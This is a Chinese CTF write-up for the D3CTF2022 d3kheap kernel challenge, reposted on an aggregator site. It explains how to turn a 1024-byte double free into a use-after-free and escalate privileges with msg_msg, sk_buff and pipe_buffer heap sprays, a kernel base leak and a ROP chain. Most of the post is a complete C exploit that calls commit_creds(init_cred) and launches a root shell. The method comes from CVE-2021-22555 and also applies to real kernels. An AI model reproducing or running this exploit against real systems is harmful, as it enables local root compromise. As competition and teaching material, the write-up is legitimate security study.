【msg_msg+sk_buff】D3CTF2022-d3kheap

news2024/11/17 11:38:33

前言

本方法来自 CVE-2021-22555,非常漂亮的组合拳,仅仅一个 1024  的 UAF 即可提权,但是对于小堆块的 UAF 不适用。

程序分析

启动脚本如下:

#!/bin/sh
qemu-system-x86_64 \
        -m 256M \
        -cpu kvm64,+smep,+smap \
        -smp cores=2,threads=2 \
        -kernel bzImage \
        -initrd ./rootfs.cpio \
        -nographic \
        -monitor /dev/null \
        -snapshot \
        -append "console=ttyS0 kaslr pti=on quiet oops=panic panic=1" \
        -no-reboot \
        -s

开启了 smap、smep、kaslr、pti 保护,并且给了部分编译选项:

Here are some kernel config options you may need

```
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SLUB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
```

可以看到,大部分主流保护均开启。

驱动程序非常简单,这里就不看了,一个 1024 大小的 double free,只有两次释放的机会。

 漏洞利用

由于这题开启了 SLAB_FREELIST_HARDENED,所以我们不能直接 double free,这里我们将其转换为一个 UAF 去进行利用。

1、将该堆块释放

2、将该堆块分配到其他结构体

3、再次将该堆块释放

通过以上 3 步,即可构造好 UAF。

接下来我们要做的就是泄漏内核基地址,劫持程序执行流。

msg_msg+sk_buff

以下将我们需要的那个 UAF 堆块称为 victim_chunk

堆喷 msg_msg 去拿到 victim_chunk

 这里我们堆喷多个消息队列,每个消息队列中有两条消息,第一个为主消息,大小为 0x60;第二个为辅助消息,大小为 1024;

这里的主消息只是为了方便定位检查,其实每个消息队列中就一个 1024 的消息就行

通过堆喷,我们形成如下布局:

 这里的 msg_msg_1024 拿到的就是第一步释放的 victim_chunk

堆喷 sk_buff 去拿到 victim_chunk

然后我们再利用一次释放的机会将 victim_chunk 进行释放,然后再堆喷 sk_buff 去拿到该 victim_chuk。

这里其实也可以直接用 setxattr 系统调用去进行数据篡改,但是其没有 sk_buff 好用,因为 sk_buff 可读可写,并且可以控制其释放。

但是在小堆块的时候,sk_buff 并不适用,因为 sk_buff 有个尾巴,导致其堆块大小最小为 512

通过堆喷,我们形成如下布局:

  

可以看到,这时我们就可以通过 sk_buff 去修改 msg_msg_1024 的头从而实现越界读和任意地址读。

那么我们该如果定位 msg_msg_1024 在那个消息队列中呢?这里比较简单,我们在堆喷 sk_buff 的时候将 msg_msg_1024 的 m_ts 字段改大,然后我们在用一个小的 bufsize 去读消息,这时候读取失败的就是我们寻找的消息,因为 msgrev 读取失败并不会 panic,而是会返回一个负数。

 泄漏内核基地址和 victim_chunk 的堆地址

为什么要泄漏 victim_chunk 呢?因为最后我们要利用 pipe_buffer 去提权,到时候要让 pipe_buffer 去占用这个堆块,由于开启了 smap 保护,所以我们不能将函数表放在用户空间,而 pipe_buffer 的大小为 1024,所以我们可以直接把函数表伪造在上面,并且 msg_msg 也可以很好的帮助我们去泄漏相应地址

泄漏 victim_chunk 地址

所以我们在最开始堆喷 msg_msg 的时候,需要形成如下布局:

即我们的 msg_msg_1024 的物理相邻的下一个堆块也是一个消息,当然你可以选择下下一个,随你啦。

注意,这里 msg_msg64 不需要物理相邻

这时候我们利用 sk_buff 修改 msg_msg_1024 的 m_ts 实现任意读,这样就可以可以泄漏其对应的 msg_msg64 的地址了,然后我们在利用 sk_buff 修改 msg_msg_1024 的 next 和 m_ts 实现任意地址读,从而泄漏 nearby_msg 的地址,然后再减 0x400 就可以得到 msg_msg_1024 即 victim_chunk 的地址了。

泄漏内核基地址

这就比较简单了,我们利用 sk_buff 去修复 msg_msg_1024 消息,然后将其释放。然后再堆喷 pipe_buffer 去占据该堆块,即形成如下布局:


 

然后利用 sk_buff 读出 pipe_buffer 中的 anon_pipe_buf_ops 即可泄漏内核基地址。

劫持 pipe_buffer 控制程序执行流

 最后就没啥了,利用 sk_buff 去写 pipe_buffer,最后打一个栈迁移就 ok 了

这 gadget 是真不好找......

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>

int fd;
void add() { ioctl(fd, 0x1234); }
void dele() { ioctl(fd, 0xDEAD); }

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void line(char *msg)
{
    printf("\033[34m\033[1m\n[*]%s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s:\033[0m %#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void get_root_shell(void)
{
        hexx("UID", getuid());
        char* args[] = { "/bin/sh", NULL };
        execve("/bin/sh", args, NULL);
}

size_t user_cs, user_ss, user_rflags, user_rsp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void fill_msg(struct msg_header* msg, void* l_next, void* l_prev, long m_type, size_t m_ts, void* next, void* security)
{
        msg->l_next = l_next;
        msg->l_prev = l_prev;
        msg->m_type = m_type;
        msg->m_ts = m_ts;
        msg->next = next;
        msg->security = security;
}

#define SOCKET_NUM 16
#define SK_BUFF_NUM 128
int init_socket(int sk_socket[SOCKET_NUM][2])
{
    /* socket pairs to spray sk_buff */
    for (int i = 0; i < SOCKET_NUM; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
            printf("[x] failed to create no.%d socket pair!\n", i);
            return -1;
        }
    }

    return 0;
}

int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (write(sk_socket[i][0], buf, size) < 0) {
                printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
                return -1;
            }
        }
    }

    return 0;
}

int free_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (read(sk_socket[i][1], buf, size) < 0) {
                puts("[x] failed to received sk_buff!");
                return -1;
            }
        }
    }

    return 0;
}

#define MSG_QUEUE_NUM 4096
#define PIPE_NUM 256
#define PRIMARY_MSG_TAG 0xAAAAAAAA
#define SECONDARY_MSG_TAG 0xBBBBBBBB
#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42
#define VICTIM_MSG_TYPE 0x111
#define ANON_PIPE_BUF_OPS 0xffffffff8203fe40
size_t pop_rdi = 0xffffffff810938f0; // pop rdi ; ret
size_t init_cred = 0xffffffff82c6d580;
size_t commit_creds = 0xffffffff810d25c0;
size_t swapgs_kpti = 0xFFFFFFFF81C01006;
size_t push_rsi_pop_rsp_pop_4 = 0xFFFFFFFF812DBEDE;

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        save_status();
        int qid[MSG_QUEUE_NUM];
        int sk_socket[SOCKET_NUM][2];
        int victim_id;
        int pipe_fd[PIPE_NUM][2];
        struct msg_buf* msg_msg;
        size_t l_next;
        size_t l_prev;
        size_t uaf_addr;
        size_t kernel_offset;
        char message[0x2000];
        char sk_msg[1024-320];

        if (init_socket(sk_socket) == -1) err_exit("init_sockets");

        fd = open("/dev/d3kheap", O_RDONLY);
        if (fd < 0) err_exit("open /dev/d3kheap");

        line("Step.I Spray primary and secondary msg_msg to get free object...");
        add();
        for (int i = 0; i < MSG_QUEUE_NUM; i++)
                if ((qid[i] = msgget(IPC_PRIVATE, 0666|IPC_CREAT)) < 0) err_exit("msgget");

        for (int i = 0; i < MSG_QUEUE_NUM; i++)
        {
                msg_msg = (struct msg_buf*)message;
                msg_msg->m_type = PRIMARY_MSG_TYPE;
                *(int*)&msg_msg->m_text[0] = PRIMARY_MSG_TAG;
                if (msgsnd(qid[i], msg_msg, 0x60-0x30, 0) < 0) err_exit("primary msg msgsnd");

                msg_msg->m_type = SECONDARY_MSG_TYPE;
                *(int*)&msg_msg->m_text[0] = SECONDARY_MSG_TAG;
                if (msgsnd(qid[i], msg_msg, 1024-0x30, 0) < 0) err_exit("secondary msg msgsnd");

                if (i == MSG_QUEUE_NUM/2) dele();
        }

        line("Step.II Spray sk_buff to get UAF object...");
        dele();
        fill_msg((struct msg_header*)sk_msg, (void*)0xdeadbeef, (void*)0xdeadbeef, 1, 1024, (void*)0, (void*)0);
        if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
        puts("Find out the victim msg_msg idx...");
        victim_id = -1;
        for (int i = 0; i < MSG_QUEUE_NUM; i++)
        {
                if (msgrcv(qid[i], message, 1024-0x30, 1, MSG_COPY|IPC_NOWAIT) < 0)
                {
                        victim_id = i;
                        break;
                }
        }

        if (victim_id == -1) err_exit("Failed to find out victim msg_msg idx");
        hexx("victim_id", victim_id);


        line("Step.III Leak the victim msg_msg heap addr...");
        if (free_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("free sk_buff");
        fill_msg((struct msg_header*)sk_msg, (void*)0xdeadbeef, (void*)0xdeadbeef, VICTIM_MSG_TYPE, 0x1000-0x30, (void*)0, (void*)0);
        if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
        if (msgrcv(qid[victim_id], message, 0x1000-0x30, 1, MSG_COPY|IPC_NOWAIT) < 0) err_exit("OOB the next nearby secondary msg_msg");
        if (*(int*)(message+8+1024) != SECONDARY_MSG_TAG) err_exit("Failed to OOB the next nearby secondary msg_msg");
        binary_dump("OOB secondary msg_msg data", message+8+1024-0x30, 0x100);
        l_next = ((struct msg_header*)(message+8+1024-0x30))->l_next;
        l_prev = ((struct msg_header*)(message+8+1024-0x30))->l_prev;
        hexx("secondary nearby msg_queue heap addr", l_next);
        hexx("secondary nearby primary msg heap addr", l_prev);

        if (free_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("free sk_buff");
        fill_msg((struct msg_header*)sk_msg, (void*)0xdeadbeef, (void*)0xdeadbeef, VICTIM_MSG_TYPE, 0x1400, (void*)(l_prev-8), (void*)0);
        if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
        if (msgrcv(qid[victim_id], message, 0x1400, 1, MSG_COPY|IPC_NOWAIT) < 0) err_exit("ARB the next nearby primary msg_msg");
        if (*(int*)(message+8+0x1000) != PRIMARY_MSG_TAG) err_exit("Failed to ARB the next nearby primary msg_msg");
        binary_dump("ARB secondary msg_msg data", message+8+0x1000-0x30, 0x100);
        l_next = ((struct msg_header*)(message+8+0x1000-0x30))->l_next;
        l_prev = ((struct msg_header*)(message+8+0x1000-0x30))->l_prev;
        uaf_addr = l_next - 0x400;
        hexx("secondary nearby msg_msg heap addr", l_next);
        hexx("secondary nearby msg_queue heap addr", l_prev);
        hexx("victim object heap addr", uaf_addr);

        line("Step.IV Fix the victim msg_msg and Spray pipe_buffer to get the UAF object...");
        if (free_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("free sk_buff");
        fill_msg((struct msg_header*)sk_msg, (void*)(uaf_addr+0x800), (void*)(uaf_addr+0x800), VICTIM_MSG_TYPE, 1024-0x30, (void*)(0), (void*)0);
        if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
        if (msgrcv(qid[victim_id], message, 1024-0x30, VICTIM_MSG_TYPE, 0) < 0) err_exit("Free the victim msg_msg");

        for (int i = 0; i < PIPE_NUM; i++)
        {
                if (pipe(pipe_fd[i]) < 0) err_exit("create pipe");
                if (write(pipe_fd[i][1], "pwn", 3) < 0) err_exit("write pipe");
        }

        info(" leak kernel_offset");
        kernel_offset = -1;
        for (int i = 0; i < SOCKET_NUM; i++)
        {
                for (int j = 0; j < SK_BUFF_NUM; j++)
                {
                        if (read(sk_socket[i][1], sk_msg, sizeof(sk_msg)) < 0) err_exit("read sk_socket");
                        if (((*(size_t*)(sk_msg+0x10))&0xfff) == 0xe40) kernel_offset = (*(size_t*)(sk_msg+0x10)) - ANON_PIPE_BUF_OPS;
                }

        }

        if (kernel_offset == -1) err_exit("Failed to leak kernel_offset");
        hexx("kernel_offset", kernel_offset);

        line("Step.V Hijack the pipe_buffer->pipe_buf_operations->release...");
        size_t rop[] = {
                0,
                0,
                uaf_addr+0x20,
                0,
                pop_rdi+kernel_offset,
                push_rsi_pop_rsp_pop_4+kernel_offset,
                pop_rdi+kernel_offset,
                init_cred+kernel_offset,
                commit_creds+kernel_offset,
                swapgs_kpti+kernel_offset,
                0,
                0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_rsp,
                user_ss
        };
        memcpy(sk_msg, rop, sizeof(rop));
        if (spray_sk_buff(sk_socket, sk_msg, sizeof(sk_msg)) < 0) err_exit("spray sk_buff to get UAF object");
        for (int i = 0; i < PIPE_NUM; i++)
        {
                close(pipe_fd[i][1]);
                close(pipe_fd[i][0]);
        }

        info("End!");


        return 0;
}

最后运行即可可以成功提权

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1065560.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python性能分析

基于cProfile统计函数级的时延&#xff0c;生成排序列表、火焰图&#xff0c;可以快速定位python代码的耗时瓶颈。参考如下博文结合实操&#xff0c;总结为三步&#xff1a; 使用 cProfile 和火焰图调优 Python 程序性能 - 知乎本来想坐下来写篇 2018 年的总结&#xff0c;仔细…

目标识别项目实战:基于Yolov7-LPRNet的动态车牌目标识别算法模型(二)

前言 目标识别如今以及迭代了这么多年&#xff0c;普遍受大家认可和欢迎的目标识别框架就是YOLO了。按照官方描述&#xff0c;YOLOv8 是一个 SOTA 模型&#xff0c;它建立在以前 YOLO 版本的成功基础上&#xff0c;并引入了新的功能和改进&#xff0c;以进一步提升性能和灵活性…

全平台高速下载器Gopeed

什么是 Gopeed ? Gopeed &#xff08;全称 Go Speed&#xff09;是一款支持全平台的高速下载器&#xff0c;开源、轻量、原生&#xff0c;采用 Golang Flutter 开发&#xff0c;支持&#xff08;HTTP、BitTorrent、Magnet 等&#xff09;协议&#xff0c;并支持所有平台。 已…

linearlayout中使用多个weight导致部分子控件消失异常

问题描述&#xff1a; 在一个linearlayout中写了两个用到weight的布局&#xff0c;在androidstudio中显示正常 但是代码跑起来之后最下面哪一行都消失了&#xff1b; 解决办法1 把两个用到weight的改成一个了&#xff0c;外面那层的weight写成固定宽度就能正常显示出丢失的…

【C++】vector的模拟实现 | 使用memcpy拷贝时的问题 | 实现深拷贝

目录 基本框架及接口 构造函数 无参构造 迭代器区间构造 初始化构造 析构函数 size() | capacity() 扩容的reserve() 使用memcpy拷贝的问题 改变大小的resize() operator[] 迭代器的实现 vector的增删 尾插push_back() 尾删pop_back() 在指定位置插入insert() …

【prism】prism 框架代码

前言 这个是针对整个专栏的一个示例程序,应用了专栏里讲的一些知识点,他是一个小而美的Prism的框架代码,一个模板,方便大家去扩展一个prism工程。 下面是一些代码片段,最后我给出整个工程的下载链接~~~ 代码片段 主界面代码 <Window x:Class="PrismTest.View…

企业加密软件哪个最好用?

天锐绿盾是一款专业的企业级加密软件&#xff0c;提供专业版、行业增强版和旗舰版&#xff0c;分别针对不同的用户需求。 PC访问地址&#xff1a; 首页 天锐绿盾专业版主要面向企事业单位的通用需求&#xff0c;以"让防泄密的管理更简单有效"为核心理念&#xff0c;…

ipv6跟ipv4如何通讯

IPv6的128位地址通常写成8组&#xff0c;每组为四个十六进制数的形式。比如:AD80:0000:0000:0000:ABAA:0000:00C2:0002 是一个合法的IPv6地址。这个地址比较长&#xff0c;看起来不方便也不易于书写。零压缩法可以用来缩减其长度。如果几个连续段位的值都是0&#xff0c;那么这…

从本地到全球:跨境电商的壮丽崛起

跨境电商&#xff0c;作为数字时代的商业现象&#xff0c;正在以惊人的速度改变着全球贸易的面貌。它不仅仅是一种商业模式&#xff0c;更是一场无国界的革命&#xff0c;使商业不再受限于地理位置&#xff0c;而是全面融入全球市场。 本文将深入探讨跨境电商的崛起&#xff0…

Ansys Speos | 将Rayfile光源转换为面光源

概览 本文将讲述如何rayfile转换为面光源&#xff0c;Rayfile光源文件包含有限数量的光线&#xff0c;表面光源有无限量的光线&#xff0c;这使得表面源对于使用逆模拟&#xff0c;得到清晰可视化仿真特别有用。 表面光源均匀地从几何形状表面的每个点发射光&#xff0c;这种简…

Ansys Optics Launcher 提升客户体验

概述 为了改善用户体验&#xff0c;Ansys Optics 团队开发了一个新的一站式启动应用程序&#xff0c;简化了工作流程并提高了效率。随着Ansys 2023 R2的最新更新&#xff0c;Ansys Optics Launcher 现已安装在Ansys Speos, Ansys Lumerical和Ansys Zemax OpticStudio中。作为一…

DVWA -xss

什么是XSS 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击&#xff0c;攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时&#xff0c;就会发生XSS。 跨站脚本攻击&#xff0c;XSS(Cross Site S…

Docker之Dockerfile搭建lnmp

目录 一、搭建nginx ​编辑 二、搭建Mysql&#xff08;简略版&#xff09; 三、搭建PHP 五、补充 主机名ip地址主要软件mysql2192.168.11.22Docker 代码示例 systemctl stop firewalld systemctl disable firewalld setenforce 0docker network create --subnet172.18.…

C#封装、继承和多态的用法详解

大家好&#xff0c;今天我们将来详细探讨一下C#中封装、继承和多态的用法。作为C#的三大面向对象的特性&#xff0c;这些概念对于程序员来说非常重要&#xff0c;因此我们将对每个特性进行详细的说明&#xff0c;并提供相应的示例代码。 目录 1. 封装&#xff08;Encapsulati…

009:获取20日均线数据

再《005》中我们获得了K线数据&#xff0c;现在我们要把他的20日均线数据也获取出来。然后通过计算后&#xff0c;保存在新的一列中&#xff1a; import pandas as pd import tkinter as tk from tkinter import filedialog import ospathdef open_file():global pathpath fi…

基于Springboot的漫画网站springboot022

大家好✌&#xff01;我是CZ淡陌。一名专注以理论为基础实战为主的技术博主&#xff0c;将再这里为大家分享优质的实战项目&#xff0c;本人在Java毕业设计领域有多年的经验&#xff0c;陆续会更新更多优质的Java实战项目&#xff0c;希望你能有所收获&#xff0c;少走一些弯路…

代码随想录 Day13 二叉树 LeetCode T104 二叉树的最大深度 T111 二叉树的最小深度 T222完全二叉树的节点个数

以下题解的更详细思路来自于:代码随想录 (programmercarl.com) 前言 二叉树的高度与深度 这里先补充一下二叉树深度和高度的概念 高度:二叉树中任意一个节点到叶子结点的距离 深度:二叉树中任意一个节点到根节点的距离 下面给出一个图便于理解 获取高度与深度的遍历方式 高度:…

python scanpy spatial空转全流程

Spatial mapping of cell types across the mouse brain (1/3) - estimating reference expression signatures of cell types — cell2location documentation Spatial mapping of cell types across the mouse brain (2/3) - cell2location — cell2location documentation #…

文件扫描模块

文章目录 前言文件扫描模块设计初级扫描方案一实现单线程扫描整合扫描步骤 设计初级扫描方案二周期性扫描 总结 前言 我们这个模块考虑的是数据库里面的内容从哪里获取。 获取完成后&#xff0c;这时候,我们就需要把目录里面文件/子文件都获取出来,并存入数据库。 文件扫描模…

Flask-[项目]-搭建短网址系统:flask实现短网址系统,短网址系统,构建短网址系统

一、项目下载地址 https://gitee.com/liuhaizhang/short-url-systemhttps://gitee.com/liuhaizhang/short-url-system 二、项目搭建 2.1、基本环境安装 1、安装好mysql数据库 2、安装好redis数据 3、安装好python解释器 2.2、项目依赖安装 1、切换到python解释器环境中 …